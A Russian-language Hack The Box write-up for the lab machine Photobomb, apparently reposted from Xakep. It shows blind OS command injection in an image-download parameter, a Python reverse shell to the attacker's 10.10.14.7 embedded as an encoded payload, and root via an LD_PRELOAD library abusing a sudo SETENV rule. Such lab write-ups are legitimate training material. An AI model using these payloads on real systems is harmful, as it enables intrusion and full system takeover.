Хакер - HTB Photobomb. Используем мисконфиг sudo для повышения привилегий

Хакер - HTB Photobomb. Используем мисконфиг sudo для повышения привилегий

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • Локальное повышение привилегий

В этом рай­тапе я покажу, как ошиб­ки в кон­фигура­ции sudo при­водят к воз­можнос­ти выпол­нить свой код в при­виле­гиро­ван­ном кон­тек­сте. А перед этим получим дос­туп от име­ни локаль­ного поль­зовате­ля при помощи инъ­екции коман­ды.

Ата­ковать мы будем вир­туаль­ную машину Photobomb с пло­щад­ки Hack The Box. Уро­вень ее слож­ности — лег­кий, пот­ребу­ется при­менить все­го нес­коль­ко при­емов.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts, что­бы мож­но было обра­щать­ся к хос­ту по име­ни:

10.10.11.182 photobomb.htb

И запус­каем ска­ниро­вание, что­бы получить спи­сок откры­тых на машине пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Nmap показал нам два откры­тых пор­та: 22-й, на котором работа­ет служ­ба OpenSSH 8.2p1, и 80-й, где отве­чает веб‑сер­вер Nginx 1.18.0. Пос­коль­ку учет­ной записи для логина по SSH у нас пока нет, выбор оче­виден: идем прос­матри­вать веб. Все дей­ствия я буду про­водить через Burp Proxy, что­бы потом иметь дос­туп ко всем дан­ным зап­росов и отве­тов.

Глав­ная стра­ница сай­та http://photobomb.htb/

Нас встре­чает стра­ница с информа­цией и с одной ссыл­кой, по которой мы, конеч­но же, про­ходим.

ТОЧКА ВХОДА

По ссыл­ке нам откры­вает­ся фор­ма HTTP-аутен­тифика­ции.

Фор­ма вво­да учет­ных дан­ных

Стан­дар­тные пары из логина и пароля вро­де admin:admin не подош­ли. Поэто­му перехо­дим в Burp History и прос­матри­ваем содер­жимое всех зап­росов. В исходном коде фай­ла photobomb.js находим учет­ные дан­ные для HTTP-аутен­тифика­ции.

Burp History

Мо­жем перей­ти пря­мо по най­ден­ному адре­су:

http://pH0t0:b0Mb!@photobomb.htb/printer

Как вари­ант, мож­но вер­нуть­ся к стра­нице с зап­росом учет­ных дан­ных и ввес­ти их вруч­ную.

ТОЧКА ОПОРЫ

На сай­те есть воз­можность ска­чать изоб­ражение в выб­ранном качес­тве и раз­решении. Для нас это инте­рес­но, поэто­му прос­мотрим переда­ваемые в зап­росе парамет­ры при кон­фигура­ции и ска­чива­нии кар­тинки.

Зап­рос на заг­рузку изоб­ражения

Пер­вая идея — получить метадан­ные изоб­ражения с помощью exiftool и най­ти какие‑нибудь сле­ды генера­тора изоб­ражений, если такой исполь­зует­ся. Тог­да мы смог­ли бы поис­кать сущес­тву­ющие уяз­вимос­ти и экс­пло­иты для них. Но в метадан­ных изоб­ражений ничего инте­рес­ного най­ти не уда­лось.

За­тем я решил поп­робовать рас­печатать «не сов­сем изоб­ражение». В парамет­ре име­ни фай­ла ука­зыва­ем путь /etc/passwd или /../../../../../../../etc/passwd, что­бы поп­робовать выг­рузить какие‑нибудь инте­рес­ные сис­темные фай­лы. Но получа­ем сле­дующий ответ, сиг­нализи­рующий о том, что и эта идея оши­боч­на.

Ошиб­ка при про­изволь­ном име­ни фай­ла

Так как при­меня­ется кон­верти­рова­ние в ука­зан­ный фор­мат, воз­можно, веб‑при­ложе­ние исполь­зует кон­вертер, переда­вая коман­ды в коман­дную обо­лоч­ку. В этом слу­чае и имя фай­ла, и рас­ширение будут переда­ны как парамет­ры коман­дной стро­ки, и в этом слу­чае нуж­но про­верить инъ­екцию коман­ды ОС. Мы уже выяс­нили, что имя фай­ла про­веря­ется, и тут нет осо­бой гиб­кости. Поэто­му про­веря­ем толь­ко параметр, где ука­зыва­ется новый фор­мат. Спи­сок наг­рузок для про­вер­ки на уяз­вимость OS Command Injection переби­раем через Burp Intruder.

Burp Intruder — вклад­ка Positions

В ито­ге, перей­дя к Time-Based-наг­рузкам (ког­да нет вывода коман­ды, а резуль­тат ее выпол­нения отме­чаем по задер­жке вре­мени отве­та), опре­деля­ем, что есть воз­можность сле­пой инъ­екции.

Burp Intruder — резуль­тат перебо­ра

В нас­трой­ках вывода добавим стол­бец, содер­жащий вре­мя отве­та, и заметим, что при отправ­ке наг­рузки %0Asleep 7 ответ от сер­вера задер­жива­ется на восемь секунд!

За­пус­тим локаль­ный веб‑сер­вер:

python3 -m http.server 80

И теперь поп­робу­ем обра­тить­ся на него через веро­ятную уяз­вимость с помощью curl:

photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg%0Acurl%20http%3a//10.10.14.7/test_RCE&dimensions=1000x1500

Ло­ги веб‑сер­вера

Зап­рос при­шел, зна­чит, уяз­вимость внед­рения коман­ды есть. Теперь поп­робу­ем выпол­нить сле­дующий реверс‑шелл на Python 3:

import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("10.10.14.7",4321))

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

p=subprocess.call(["/bin/sh","-i"])

От­кры­ваем лис­тенер на пор­те 4321 (я исполь­зую pwncat), кодиру­ем реверс‑шелл и отправ­ляем зап­рос на сер­вер.

photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg%0Apython3+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.14.7",4321))%3bos.dup2(s.fileno(),0)%3bos.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)%3bp%3dsubprocess.call(["/bin/sh","-i"])%3b'&dimensions=1000x1500

Зап­рос на сер­вер

В pwncat пос­ле получе­ния сес­сии для перек­лючения к шел­лу вво­дим коман­ду back, а для выхода в меню исполь­зуем ком­бинацию кла­виш Ctrl-D.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Те­перь, ког­да мы получи­ли дос­туп к хос­ту, нам необ­ходимо соб­рать информа­цию. Я, как обыч­но, исполь­зую для это­го скрип­ты PEASS.

Справка: скрипты PEASS для Linux

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате.

Заг­рузим на уда­лен­ный хост скрипт для Linux, коман­дой chmod +x linpeas.sh дадим ему пра­во на выпол­нение и запус­тим сбор информа­ции. Из все­го вывода мож­но уце­пить­ся толь­ко за нас­трой­ки sudoers.

Нас­трой­ки судо­ера

Справка: sudoers

Файл /etc/sudoers в Linux содер­жит спис­ки команд, которые раз­ные груп­пы поль­зовате­лей могут выпол­нять от име­ни адми­нис­тра­тора сис­темы. Мож­но прос­мотреть его как нап­рямую, так и при помощи коман­ды sudo -l.

Мы можем выпол­нить коман­ду /opt/cleanup.sh от име­ни поль­зовате­ля root с уста­нов­кой перемен­ных окру­жения (SETENV) без вво­да пароля (NOPASSWD). Смот­рим содер­жимое обна­ружен­ного скрип­та.

cat /opt/cleanup.sh

Со­дер­жимое фай­ла /opt/cleanup.sh

В самом скрип­те нет ничего инте­рес­ного, зато есть воз­можность уста­новить перемен­ные окру­жения. Это очень важ­но при повыше­нии при­виле­гий. Мы, нап­ример, можем исполь­зовать перемен­ную окру­жения LD_PRELOAD и с ее помощью сооб­щить сис­темно­му ком­понов­щику вре­мени выпол­нения (ld.so), что он дол­жен заг­рузить ука­зан­ные биб­лиоте­ки рань­ше дру­гих. В резуль­тате мож­но перех­ватывать вызовы сис­темных фун­кций и заменять их собс­твен­ной реали­заци­ей, а то и прос­то выпол­нить свой код.

Да­вай напишем свою биб­лиоте­ку, которая дол­жна дать нам шелл в при­виле­гиро­ван­ном кон­тек­сте.

#include <stdio.h>

#include <sys/types.h>

#include <stdlib.h>

void _init() {

unsetenv("LD_PRELOAD");

setgid(0);

setuid(0);

system("/bin/bash");

}

Те­перь ком­пилиру­ем ее с помощью GCC.

gcc -fPIC -shared -o lpe.so lpe.c -nostartfiles

Сбор­ка биб­лиоте­ки lpe.so

Соб­ранный файл заг­ружа­ем на уда­лен­ный хост и выпол­няем скрипт под sudo с ука­зани­ем нашей биб­лиоте­ки в перемен­ной окру­жения LD_PRELOAD. И получа­ем при­виле­гиро­ван­ную коман­дную обо­лоч­ку.

sudo LD_PRELOAD=/tmp/lpe.so /opt/cleanup.sh

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei




Report Page